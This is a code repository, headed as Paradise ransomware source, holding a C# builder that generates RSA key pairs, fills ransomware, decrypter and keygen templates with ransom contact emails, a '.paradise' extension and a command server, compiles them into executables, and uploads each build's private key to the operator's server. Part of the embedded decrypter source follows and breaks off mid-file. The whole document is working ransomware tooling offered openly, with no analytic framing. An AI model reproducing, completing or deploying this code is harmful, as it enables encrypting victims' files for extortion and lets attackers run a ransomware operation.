├── README.md
├── obj
└── Debug
│ ├── DP_Builder.csprojAssemblyReference.cache
│ ├── DesignTimeResolveAssemblyReferences.cache
│ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ └── .NETFramework,Version=v4.5.AssemblyAttributes.cs
├── Program.cs
├── AssemblyInfo.cs
├── Properties
├── Settings.cs
├── Resources.cs
└── Resources.resx
├── DP_Builder.sln
├── DP_Builder.csproj
├── MainForm.resx
└── MainForm.cs
/README.md:
--------------------------------------------------------------------------------
1 | # Source-code-Paradise
2 | Paradise Ransomware Source
3 |
--------------------------------------------------------------------------------
/obj/Debug/DP_Builder.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/vncloudsco/Source-code-Paradise/HEAD/obj/Debug/DP_Builder.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/obj/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/vncloudsco/Source-code-Paradise/HEAD/obj/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/vncloudsco/Source-code-Paradise/HEAD/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs:
--------------------------------------------------------------------------------
1 | //
2 | using System;
3 | using System.Reflection;
4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
5 |
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 |
2 | using System;
3 | using System.Windows.Forms;
4 |
5 | namespace DP_Builder
6 | {
7 | internal static class Program
8 | {
9 | [STAThread]
10 | private static void Main()
11 | {
12 | Application.EnableVisualStyles();
13 | Application.SetCompatibleTextRenderingDefault(false);
14 | Application.Run((Form) new MainForm());
15 | }
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.InteropServices;
3 |
4 | [assembly: AssemblyTitle("DP_Builder")]
5 | [assembly: AssemblyDescription("")]
6 | [assembly: AssemblyConfiguration("")]
7 | [assembly: AssemblyCompany("")]
8 | [assembly: AssemblyProduct("DP_Builder")]
9 | [assembly: AssemblyCopyright("Copyright © 2017")]
10 | [assembly: AssemblyTrademark("")]
11 | [assembly: ComVisible(false)]
12 | [assembly: Guid("e74fef62-688b-4681-ba71-4a4deb08ca16")]
13 | [assembly: AssemblyFileVersion("1.0.0.0")]
14 | [assembly: AssemblyVersion("1.0.0.0")]
15 |
--------------------------------------------------------------------------------
/Properties/Settings.cs:
--------------------------------------------------------------------------------
1 |
2 |
3 | using System.CodeDom.Compiler;
4 | using System.Configuration;
5 | using System.Runtime.CompilerServices;
6 |
7 | namespace DP_Builder.Properties
8 | {
9 | [CompilerGenerated]
10 | [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0")]
11 | internal sealed class Settings : ApplicationSettingsBase
12 | {
13 | private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
14 |
15 | public static Settings Default
16 | {
17 | get
18 | {
19 | Settings defaultInstance = Settings.defaultInstance;
20 | return defaultInstance;
21 | }
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/DP_Builder.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2012
4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DP_Builder", "DP_Builder.csproj", "{7C88EBF8-C930-4FB2-9DCD-B5E5355305BD}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|Any CPU = Debug|Any CPU
9 | Release|Any CPU = Release|Any CPU
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {7C88EBF8-C930-4FB2-9DCD-B5E5355305BD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
13 | {7C88EBF8-C930-4FB2-9DCD-B5E5355305BD}.Debug|Any CPU.Build.0 = Debug|Any CPU
14 | {7C88EBF8-C930-4FB2-9DCD-B5E5355305BD}.Release|Any CPU.ActiveCfg = Release|Any CPU
15 | {7C88EBF8-C930-4FB2-9DCD-B5E5355305BD}.Release|Any CPU.Build.0 = Release|Any CPU
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/DP_Builder.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {7C88EBF8-C930-4FB2-9DCD-B5E5355305BD}
8 | WinExe
9 | DP_Builder
10 | v4.5
11 | 1.0.0.0
12 | 512
13 | DP_Builder
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 | Form
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/Properties/Resources.cs:
--------------------------------------------------------------------------------
1 |
2 | using System.CodeDom.Compiler;
3 | using System.ComponentModel;
4 | using System.Diagnostics;
5 | using System.Drawing;
6 | using System.Globalization;
7 | using System.Resources;
8 | using System.Runtime.CompilerServices;
9 |
10 | namespace DP_Builder.Properties
11 | {
12 | [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
13 | [DebuggerNonUserCode]
14 | [CompilerGenerated]
15 | internal class Resources
16 | {
17 | private static ResourceManager resourceMan;
18 | private static CultureInfo resourceCulture;
19 |
20 | internal Resources()
21 | {
22 | }
23 |
24 | [EditorBrowsable(EditorBrowsableState.Advanced)]
25 | internal static ResourceManager ResourceManager
26 | {
27 | get
28 | {
29 | if (DP_Builder.Properties.Resources.resourceMan == null)
30 | DP_Builder.Properties.Resources.resourceMan = new ResourceManager("DP_Builder.Properties.Resources", typeof (DP_Builder.Properties.Resources).Assembly);
31 | return DP_Builder.Properties.Resources.resourceMan;
32 | }
33 | }
34 |
35 | [EditorBrowsable(EditorBrowsableState.Advanced)]
36 | internal static CultureInfo Culture
37 | {
38 | get
39 | {
40 | return DP_Builder.Properties.Resources.resourceCulture;
41 | }
42 | set
43 | {
44 | DP_Builder.Properties.Resources.resourceCulture = value;
45 | }
46 | }
47 |
48 | internal static string DP_Decrypter
49 | {
50 | get
51 | {
52 | return DP_Builder.Properties.Resources.ResourceManager.GetString(nameof (DP_Decrypter), DP_Builder.Properties.Resources.resourceCulture);
53 | }
54 | }
55 |
56 | internal static string DP_Keygen
57 | {
58 | get
59 | {
60 | return DP_Builder.Properties.Resources.ResourceManager.GetString(nameof (DP_Keygen), DP_Builder.Properties.Resources.resourceCulture);
61 | }
62 | }
63 |
64 | internal static Bitmap image_2
65 | {
66 | get
67 | {
68 | return (Bitmap) DP_Builder.Properties.Resources.ResourceManager.GetObject(nameof (image_2), DP_Builder.Properties.Resources.resourceCulture);
69 | }
70 | }
71 |
72 | internal static string res
73 | {
74 | get
75 | {
76 | return DP_Builder.Properties.Resources.ResourceManager.GetString(nameof (res), DP_Builder.Properties.Resources.resourceCulture);
77 | }
78 | }
79 | }
80 | }
81 |
--------------------------------------------------------------------------------
/MainForm.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/MainForm.cs:
--------------------------------------------------------------------------------
1 |
2 | using DP_Builder.Properties;
3 | using Microsoft.CSharp;
4 | using System;
5 | using System.CodeDom.Compiler;
6 | using System.Collections;
7 | using System.Collections.Generic;
8 | using System.Collections.Specialized;
9 | using System.ComponentModel;
10 | using System.Drawing;
11 | using System.IO;
12 | using System.Net;
13 | using System.Security.Cryptography;
14 | using System.Text;
15 | using System.Text.RegularExpressions;
16 | using System.Windows.Forms;
17 |
18 | namespace DP_Builder
19 | {
20 | public class MainForm : Form
21 | {
22 | private string RSA_Public = "";
23 | private string RSA_Private = "";
24 | private string server = "";
25 | private string adminkey = "";
26 | private string img = "";
27 | private string text = "";
28 | private IContainer components = (IContainer) null;
29 | private Panel panel1;
30 | private TextBox vectorTB;
31 | private Button genBtn;
32 | private TextBox emailTB;
33 | private Button textBtn;
34 | private Button createBtn;
35 | private Panel panel2;
36 | private Button saveBtn;
37 | private TextBox admKeyTB;
38 | private Label label2;
39 | private Label label1;
40 | private TextBox siteTB;
41 | private TextBox utextTB;
42 | private CheckBox useDT;
43 | private TextBox contactTB;
44 | private TextBox email2TB;
45 | private TextBox puthTB;
46 | private Label label3;
47 | private TextBox extTB;
48 |
49 | public MainForm()
50 | {
51 | this.InitializeComponent();
52 | }
53 |
54 | private void createBtn_Click(object sender, EventArgs e)
55 | {
56 | if (this.extTB.Text[0] != '.')
57 | this.extTB.Text = "." + this.extTB.Text;
58 | this.text = this.utextTB.Text;
59 | this.text = this.text.Replace("\r\n", "
");
60 | string contents = (int.Parse(System.IO.File.ReadAllText("DP.last")) + 1).ToString();
61 | System.IO.File.WriteAllText("DP.last", contents);
62 | Directory.CreateDirectory(contents + " build " + this.vectorTB.Text + " [" + this.emailTB.Text + "]");
63 | string str = Directory.GetCurrentDirectory() + "/" + contents + " build " + this.vectorTB.Text + " [" + this.emailTB.Text + "]".Replace("\\", "/");
64 | string text1 = Resources.res.Replace("%TEXT_FOR_UNLOCK%", this.text).Replace("%EXTENSION%", this.extTB.Text).Replace("%FIRST_MAIL%", this.emailTB.Text).Replace("%SECOND_MAIL%", this.email2TB.Text).Replace("%INC_VECTOR%", this.vectorTB.Text).Replace("%RSA_PUBLIC%", this.RSA_Public).Replace("%SERVER%", this.server).Replace("%STFU%", this.useDT.Checked.ToString());
65 | string text2 = Resources.DP_Decrypter.Replace("%VECTOR%", this.vectorTB.Text).Replace("%EXTENSION%", this.extTB.Text).Replace("%SERVER%", this.server);
66 | string text3 = Resources.DP_Keygen.Replace("%VECTOR%", this.vectorTB.Text).Replace("%SERVER%", this.server).Replace("%EMAIL%", this.emailTB.Text);
67 | List libs = new List();
68 | libs.Add("System.dll");
69 | libs.Add("System.Windows.Forms.dll");
70 | libs.Add("System.Drawing.dll");
71 | this.MakeBuild(str + "/DP_Main.exe", libs, text1, "v3.5");
72 | this.MakeBuild(str + "/DP_Decrypter.exe", libs, text2, "v4.0");
73 | this.MakeBuild(str + "/DP_Keygen.exe", libs, text3, "v4.0");
74 | if (this.server != "localhost")
75 | this.AddLicense();
76 | System.IO.File.WriteAllText(str + "/ExtraKey.dp", this.RSA_Private);
77 | this.GetRSAKeys();
78 | this.vectorTB.Text = new Regex("(.*)", RegexOptions.IgnoreCase).Match(this.RSA_Public).Groups[1].Value.Substring(0, 8).Replace("\\", "0").Replace("/", "0");
79 | this.Text = "DP_Builder[#" + contents + " created]";
80 | }
81 |
82 | private void MakeBuild(string puth, List libs, string text, string param)
83 | {
84 | List stringList = new List();
85 | stringList.Add(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll"));
86 | CompilerResults compilerResults;
87 | using (CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider((IDictionary) new Dictionary()
88 | {
89 | {
90 | "CompilerVersion",
91 | param
92 | }
93 | }))
94 | {
95 | CompilerParameters compilerParameters = new CompilerParameters();
96 | CompilerParameters options;
97 | if (param == "v3.5")
98 | {
99 | options = new CompilerParameters(stringList.ToArray(), puth);
100 | options.GenerateExecutable = true;
101 | options.CompilerOptions = "/nostdlib";
102 | }
103 | else
104 | options = new CompilerParameters()
105 | {
106 | OutputAssembly = puth,
107 | GenerateExecutable = true,
108 | CompilerOptions = "/t:winexe"
109 | };
110 | foreach (string lib in libs)
111 | options.ReferencedAssemblies.Add(lib);
112 | compilerResults = csharpCodeProvider.CompileAssemblyFromSource(options, text);
113 | }
114 | if (compilerResults.Errors.Count == 0)
115 | this.Text = "DP_Builder[" + Path.GetFileName(puth) + " compilated]";
116 | foreach (CompilerError error in (CollectionBase) compilerResults.Errors)
117 | {
118 | int num = (int) MessageBox.Show(string.Format("Ошибка: {0}", (object) error.ErrorText));
119 | }
120 | }
121 |
122 | private void genBtn_Click(object sender, EventArgs e)
123 | {
124 | this.GetRSAKeys();
125 | this.vectorTB.Text = new Regex("(.*)", RegexOptions.IgnoreCase).Match(this.RSA_Public).Groups[1].Value.Substring(0, 8).Replace("\\", "0").Replace("/", "0").Replace("+", "0");
126 | }
127 |
128 | private void MainForm_Load(object sender, EventArgs e)
129 | {
130 | Resources.image_2.Save("img.png");
131 | this.img = Convert.ToBase64String(System.IO.File.ReadAllBytes("img.png"));
132 | System.IO.File.Delete("img.png");
133 | this.GetRSAKeys();
134 | this.vectorTB.Text = new Regex("(.*)", RegexOptions.IgnoreCase).Match(this.RSA_Public).Groups[1].Value.Substring(0, 8).Replace("\\", "0").Replace("/", "0");
135 | if (System.IO.File.Exists("Server.info"))
136 | {
137 | string[] strArray = System.IO.File.ReadAllLines("Server.info");
138 | this.server = strArray[0];
139 | this.adminkey = strArray[1];
140 | this.Height = 285;
141 | }
142 | else
143 | {
144 | this.createBtn.Enabled = false;
145 | this.Height = 407;
146 | }
147 | }
148 |
149 | private void textBtn_Click(object sender, EventArgs e)
150 | {
151 | OpenFileDialog openFileDialog = new OpenFileDialog();
152 | openFileDialog.Filter = "Txt files|*.html";
153 | if (openFileDialog.ShowDialog() != DialogResult.OK)
154 | return;
155 | this.utextTB.Text = System.IO.File.ReadAllText(openFileDialog.FileName);
156 | this.puthTB.Text = openFileDialog.FileName;
157 | }
158 |
159 | private void GetRSAKeys()
160 | {
161 | RSACryptoServiceProvider cryptoServiceProvider = new RSACryptoServiceProvider();
162 | this.RSA_Private = cryptoServiceProvider.ToXmlString(true);
163 | this.RSA_Public = cryptoServiceProvider.ToXmlString(false);
164 | }
165 |
166 | private void AddLicense()
167 | {
168 | string address = this.server + "/" + this.adminkey + "/new_client.php";
169 | using (WebClient webClient = new WebClient())
170 | {
171 | if (Encoding.UTF8.GetString(webClient.UploadValues(address, new NameValueCollection()
172 | {
173 | {
174 | "vector",
175 | this.vectorTB.Text
176 | },
177 | {
178 | "email",
179 | this.emailTB.Text
180 | },
181 | {
182 | "master",
183 | Convert.ToBase64String(Encoding.Default.GetBytes(this.RSA_Private))
184 | },
185 | {
186 | "contact",
187 | this.contactTB.Text
188 | }
189 | })) == "Successful")
190 | this.Text = "DP_Builder[License created]";
191 | else
192 | this.Text = "DP_Builder[License creation error]";
193 | }
194 | }
195 |
196 | private void saveBtn_Click(object sender, EventArgs e)
197 | {
198 | this.server = this.siteTB.Text;
199 | this.adminkey = this.admKeyTB.Text;
200 | System.IO.File.WriteAllText("Server.info", this.siteTB.Text + "\r\n" + this.admKeyTB.Text);
201 | this.createBtn.Enabled = true;
202 | this.Height = 285;
203 | }
204 |
205 | private void contactTB_Click(object sender, EventArgs e)
206 | {
207 | if (!(this.contactTB.Text == "Contact"))
208 | return;
209 | this.contactTB.Text = "";
210 | }
211 |
212 | protected override void Dispose(bool disposing)
213 | {
214 | if (disposing && this.components != null)
215 | this.components.Dispose();
216 | base.Dispose(disposing);
217 | }
218 |
219 | private void InitializeComponent()
220 | {
221 | this.panel1 = new Panel();
222 | this.email2TB = new TextBox();
223 | this.contactTB = new TextBox();
224 | this.useDT = new CheckBox();
225 | this.utextTB = new TextBox();
226 | this.textBtn = new Button();
227 | this.emailTB = new TextBox();
228 | this.vectorTB = new TextBox();
229 | this.genBtn = new Button();
230 | this.createBtn = new Button();
231 | this.panel2 = new Panel();
232 | this.saveBtn = new Button();
233 | this.admKeyTB = new TextBox();
234 | this.label2 = new Label();
235 | this.label1 = new Label();
236 | this.siteTB = new TextBox();
237 | this.extTB = new TextBox();
238 | this.label3 = new Label();
239 | this.puthTB = new TextBox();
240 | this.panel1.SuspendLayout();
241 | this.panel2.SuspendLayout();
242 | this.SuspendLayout();
243 | this.panel1.BorderStyle = BorderStyle.FixedSingle;
244 | this.panel1.Controls.Add((Control) this.puthTB);
245 | this.panel1.Controls.Add((Control) this.label3);
246 | this.panel1.Controls.Add((Control) this.extTB);
247 | this.panel1.Controls.Add((Control) this.email2TB);
248 | this.panel1.Controls.Add((Control) this.contactTB);
249 | this.panel1.Controls.Add((Control) this.useDT);
250 | this.panel1.Controls.Add((Control) this.utextTB);
251 | this.panel1.Controls.Add((Control) this.textBtn);
252 | this.panel1.Controls.Add((Control) this.emailTB);
253 | this.panel1.Controls.Add((Control) this.vectorTB);
254 | this.panel1.Controls.Add((Control) this.genBtn);
255 | this.panel1.Location = new Point(12, 12);
256 | this.panel1.Name = "panel1";
257 | this.panel1.Size = new Size(490, 195);
258 | this.panel1.TabIndex = 2;
259 | this.email2TB.Location = new Point(333, 4);
260 | this.email2TB.Name = "email2TB";
261 | this.email2TB.Size = new Size(151, 20);
262 | this.email2TB.TabIndex = 12;
263 | this.email2TB.Text = "paradise@all-ransomware.info";
264 | this.email2TB.TextAlign = HorizontalAlignment.Center;
265 | this.contactTB.Location = new Point(3, 26);
266 | this.contactTB.Name = "contactTB";
267 | this.contactTB.Size = new Size(234, 20);
268 | this.contactTB.TabIndex = 11;
269 | this.contactTB.Text = "Contact";
270 | this.contactTB.TextAlign = HorizontalAlignment.Center;
271 | this.contactTB.Click += new EventHandler(this.contactTB_Click);
272 | this.useDT.AutoSize = true;
273 | this.useDT.Checked = true;
274 | this.useDT.CheckState = CheckState.Checked;
275 | this.useDT.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
276 | this.useDT.Location = new Point(5, 52);
277 | this.useDT.Name = "useDT";
278 | this.useDT.Size = new Size(160, 17);
279 | this.useDT.TabIndex = 10;
280 | this.useDT.Text = "Use \"DECRYPT MY FILES\"";
281 | this.useDT.UseVisualStyleBackColor = true;
282 | this.utextTB.Location = new Point(5, 73);
283 | this.utextTB.Multiline = true;
284 | this.utextTB.Name = "utextTB";
285 | this.utextTB.Size = new Size(479, 117);
286 | this.utextTB.TabIndex = 9;
287 | this.textBtn.Location = new Point(434, 49);
288 | this.textBtn.Name = "textBtn";
289 | this.textBtn.Size = new Size(50, 23);
290 | this.textBtn.TabIndex = 7;
291 | this.textBtn.Text = "...";
292 | this.textBtn.UseVisualStyleBackColor = true;
293 | this.textBtn.Click += new EventHandler(this.textBtn_Click);
294 | this.emailTB.Location = new Point(179, 4);
295 | this.emailTB.Name = "emailTB";
296 | this.emailTB.Size = new Size(151, 20);
297 | this.emailTB.TabIndex = 4;
298 | this.emailTB.Text = "info@all-ransomware.info";
299 | this.emailTB.TextAlign = HorizontalAlignment.Center;
300 | this.vectorTB.Location = new Point(3, 4);
301 | this.vectorTB.Name = "vectorTB";
302 | this.vectorTB.Size = new Size(93, 20);
303 | this.vectorTB.TabIndex = 3;
304 | this.vectorTB.Text = "Vector";
305 | this.vectorTB.TextAlign = HorizontalAlignment.Center;
306 | this.genBtn.Location = new Point(98, 3);
307 | this.genBtn.Name = "genBtn";
308 | this.genBtn.Size = new Size(75, 23);
309 | this.genBtn.TabIndex = 2;
310 | this.genBtn.Text = "Generate";
311 | this.genBtn.UseVisualStyleBackColor = true;
312 | this.genBtn.Click += new EventHandler(this.genBtn_Click);
313 | this.createBtn.Location = new Point(12, 213);
314 | this.createBtn.Name = "createBtn";
315 | this.createBtn.Size = new Size(490, 23);
316 | this.createBtn.TabIndex = 3;
317 | this.createBtn.Text = "Create build";
318 | this.createBtn.UseVisualStyleBackColor = true;
319 | this.createBtn.Click += new EventHandler(this.createBtn_Click);
320 | this.panel2.BorderStyle = BorderStyle.Fixed3D;
321 | this.panel2.Controls.Add((Control) this.saveBtn);
322 | this.panel2.Controls.Add((Control) this.admKeyTB);
323 | this.panel2.Controls.Add((Control) this.label2);
324 | this.panel2.Controls.Add((Control) this.label1);
325 | this.panel2.Controls.Add((Control) this.siteTB);
326 | this.panel2.Location = new Point(12, 246);
327 | this.panel2.Name = "panel2";
328 | this.panel2.Size = new Size(490, 113);
329 | this.panel2.TabIndex = 4;
330 | this.saveBtn.Location = new Point(4, 82);
331 | this.saveBtn.Name = "saveBtn";
332 | this.saveBtn.Size = new Size(479, 23);
333 | this.saveBtn.TabIndex = 4;
334 | this.saveBtn.Text = "Save";
335 | this.saveBtn.UseVisualStyleBackColor = true;
336 | this.saveBtn.Click += new EventHandler(this.saveBtn_Click);
337 | this.admKeyTB.Location = new Point(4, 59);
338 | this.admKeyTB.Name = "admKeyTB";
339 | this.admKeyTB.Size = new Size(479, 20);
340 | this.admKeyTB.TabIndex = 3;
341 | this.label2.AutoSize = true;
342 | this.label2.Location = new Point(226, 43);
343 | this.label2.Name = "label2";
344 | this.label2.Size = new Size(59, 13);
345 | this.label2.TabIndex = 2;
346 | this.label2.Text = "Admin key:";
347 | this.label1.AutoSize = true;
348 | this.label1.Location = new Point(240, 4);
349 | this.label1.Name = "label1";
350 | this.label1.Size = new Size(28, 13);
351 | this.label1.TabIndex = 1;
352 | this.label1.Text = "Site:";
353 | this.siteTB.Location = new Point(4, 20);
354 | this.siteTB.Name = "siteTB";
355 | this.siteTB.Size = new Size(479, 20);
356 | this.siteTB.TabIndex = 0;
357 | this.extTB.Font = new Font("Courier New", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204);
358 | this.extTB.Location = new Point(352, 26);
359 | this.extTB.Name = "extTB";
360 | this.extTB.Size = new Size(131, 22);
361 | this.extTB.TabIndex = 13;
362 | this.extTB.Text = ".paradise";
363 | this.extTB.TextAlign = HorizontalAlignment.Center;
364 | this.label3.AutoSize = true;
365 | this.label3.Location = new Point(273, 30);
366 | this.label3.Name = "label3";
367 | this.label3.Size = new Size(73, 13);
368 | this.label3.TabIndex = 14;
369 | this.label3.Text = "Расширение:";
370 | this.puthTB.Location = new Point(171, 51);
371 | this.puthTB.Name = "puthTB";
372 | this.puthTB.ReadOnly = true;
373 | this.puthTB.Size = new Size(257, 20);
374 | this.puthTB.TabIndex = 15;
375 | this.puthTB.Text = "...";
376 | this.puthTB.TextAlign = HorizontalAlignment.Center;
377 | this.AutoScaleDimensions = new SizeF(6f, 13f);
378 | this.AutoScaleMode = AutoScaleMode.Font;
379 | this.ClientSize = new Size(511, 368);
380 | this.Controls.Add((Control) this.panel2);
381 | this.Controls.Add((Control) this.createBtn);
382 | this.Controls.Add((Control) this.panel1);
383 | this.FormBorderStyle = FormBorderStyle.FixedSingle;
384 | this.MaximizeBox = false;
385 | this.Name = nameof (MainForm);
386 | this.Text = "DP_Builder";
387 | this.Load += new EventHandler(this.MainForm_Load);
388 | this.panel1.ResumeLayout(false);
389 | this.panel1.PerformLayout();
390 | this.panel2.ResumeLayout(false);
391 | this.panel2.PerformLayout();
392 | this.ResumeLayout(false);
393 | }
394 | }
395 | }
396 |
--------------------------------------------------------------------------------
/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | using System;
122 | using System.Collections.Generic;
123 | using System.Drawing;
124 | using System.Text;
125 | using System.Windows.Forms;
126 | using System.IO;
127 | using System.Net;
128 | using System.Security.Cryptography;
129 | using System.Text.RegularExpressions;
130 | using System.Threading;
131 |
132 | namespace DP_Decrypter
133 | {
134 | public partial class MainForm : Form
135 | {
136 | private string DecryptionKey = "";
137 | public MainForm()
138 | {
139 | InitializeComponent();
140 |
141 | }
142 |
143 | private void NewFile(string c)
144 | {
145 | filenameLbl.Invoke((MethodInvoker)
146 | delegate
147 | {
148 | filenameLbl.Text = c;
149 | });
150 | }
151 |
152 | private Thread[] Threads;
153 | private object locker = new object();
154 | private Queue<string> Files = new Queue<string>();
155 | private List<string> directories = new List<string>();
156 | private string vector = "%VECTOR%";
157 | private string CryptedExtension = "%EXTENSION%";
158 | private bool allFiles = false;
159 |
160 | private void MainForm_Load(object sender, EventArgs e)
161 | {
162 |
163 | }
164 |
165 | private void oneFileBtn_Click(object sender, EventArgs e)
166 | {
167 | try
168 | {
169 | OpenFileDialog ofd = new OpenFileDialog();
170 | ofd.Filter = "Encrypted file|*"+CryptedExtension;
171 | if (ofd.ShowDialog() == DialogResult.OK)
172 | {
173 | RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
174 | RSA.FromXmlString(DecryptionKey);
175 | DecryptFile(ofd.FileName, RSA);
176 | }
177 | }
178 | catch (Exception ex)
179 | {
180 | MessageBox.Show(ex.ToString());
181 | }
182 | }
183 |
184 | private void allFilesBtn_Click(object sender, EventArgs e)
185 | {
186 | if (allFiles)
187 | {
188 | filenameLbl.Text = "Scanning...";
189 | DecryptAllFiles();
190 | }
191 | else MessageBox.Show("Access error: The key for decrypting a single file.");
192 | }
193 |
194 | private void DecryptAllFiles()
195 | {
196 | Files = ShareDrives(GetDrives());
197 | StartThreads();
198 | SendInfo();
199 | }
200 |
201 |
202 | private List<byte[]> GetCryptedPart(string fileName)
203 | {
204 | try
205 | {
206 | int size = 130000;
207 | FileInfo FN = new FileInfo(fileName);
208 | if (FN.Length < 130000) size = Convert.ToInt32(FN.Length);
209 | List<byte[]> byteFile = new List<byte[]>();
210 | byte[] file = new byte[size]; // size = 40950 max
211 | using (var stream = File.OpenRead(fileName))
212 | {
213 | stream.Seek(-(size), SeekOrigin.End);
214 | stream.Read(file, 0, size);
215 | }
216 | string s = Encoding.Default.GetString(file);
217 | string cryptedText = new Regex(@"<CRYPTED>(.*)</CRYPTED>", RegexOptions.IgnoreCase).Match(s).Groups[1].Value;
218 | int len = "<CRYPTED></CRYPTED>".Length + cryptedText.Length;
219 | using (var writer = File.OpenWrite(fileName)) writer.SetLength(writer.Length - len);
220 | file = Convert.FromBase64String(cryptedText);
221 | int blocks_count = file.Length / 128;
222 | int k = 0;
223 | //if(file.Length < 128) byteFile.Add(file);
224 | for (int i = 0; i < blocks_count; i++)
225 | {
226 | byte[] middle = new byte[128];
227 | for (int j = 0; j < 128; j++)
228 | {
229 | middle[j] = file[k];
230 | k = k + 1;
231 | }
232 | byteFile.Add(middle);
233 | }
234 | return byteFile;
235 | }
236 | catch (Exception ex)
237 | {
238 | //MessageBox.Show(ex.ToString());
239 | return null;
240 | }
241 | }
242 |
243 | private void DecryptFile(string file, RSACryptoServiceProvider rsa)
244 | {
245 | try
246 | {
247 | List<byte[]> priv = GetCryptedPart(file);
248 | List<byte> decr = new List<byte>();
249 | foreach (byte[] bts in priv)
250 | {
251 | byte[] crypto = rsa.Decrypt(bts, false);
252 | decr.AddRange(crypto);
253 | }
254 | byte[] buff = decr.ToArray();
255 | using (FileStream fs = new FileStream(file, FileMode.Append, FileAccess.Write))
256 | {
257 | fs.Write(buff, 0, buff.Length);
258 | fs.Flush();
259 | fs.Close();
260 | }
261 | string newname = new Regex(@"(.*)\[id-(.*)\%EXTENSION%").Replace(file, "$1");
262 | File.Move(file, newname);
263 | File.Delete(file);
264 | }
265 | catch (Exception)
266 | {
267 |
268 | }
269 |
270 | }
271 |
272 | private Queue<string> ShareDrives(List<string> Drives)
273 | {
274 | List<string> temp = new List<string>();
275 | foreach (string Drive in Drives)
276 | {
277 | Console.WriteLine(Drive + " started");
278 | try
279 | {
280 | temp.AddRange(GetFiles(Drive));
281 | }
282 | catch (Exception ex)
283 | {
284 |
285 | }
286 | Console.WriteLine("// Done //");
287 | }
288 | Queue<string> Files = new Queue<string>(temp);
289 | return Files;
290 | }
291 |
292 | private List<string> GetDrives()
293 | {
294 | try
295 | {
296 | List<string> Drives = new List<string>();
297 | DriveInfo[] allDrives = DriveInfo.GetDrives();
298 | foreach (DriveInfo drive in allDrives)
299 | {
300 | Drives.Add(drive.Name);
301 | }
302 | if (Drives.Contains("C:\\"))
303 | {
304 | Drives.RemoveAt(Drives.IndexOf("C:\\"));
305 | Drives.Add("C:\\");
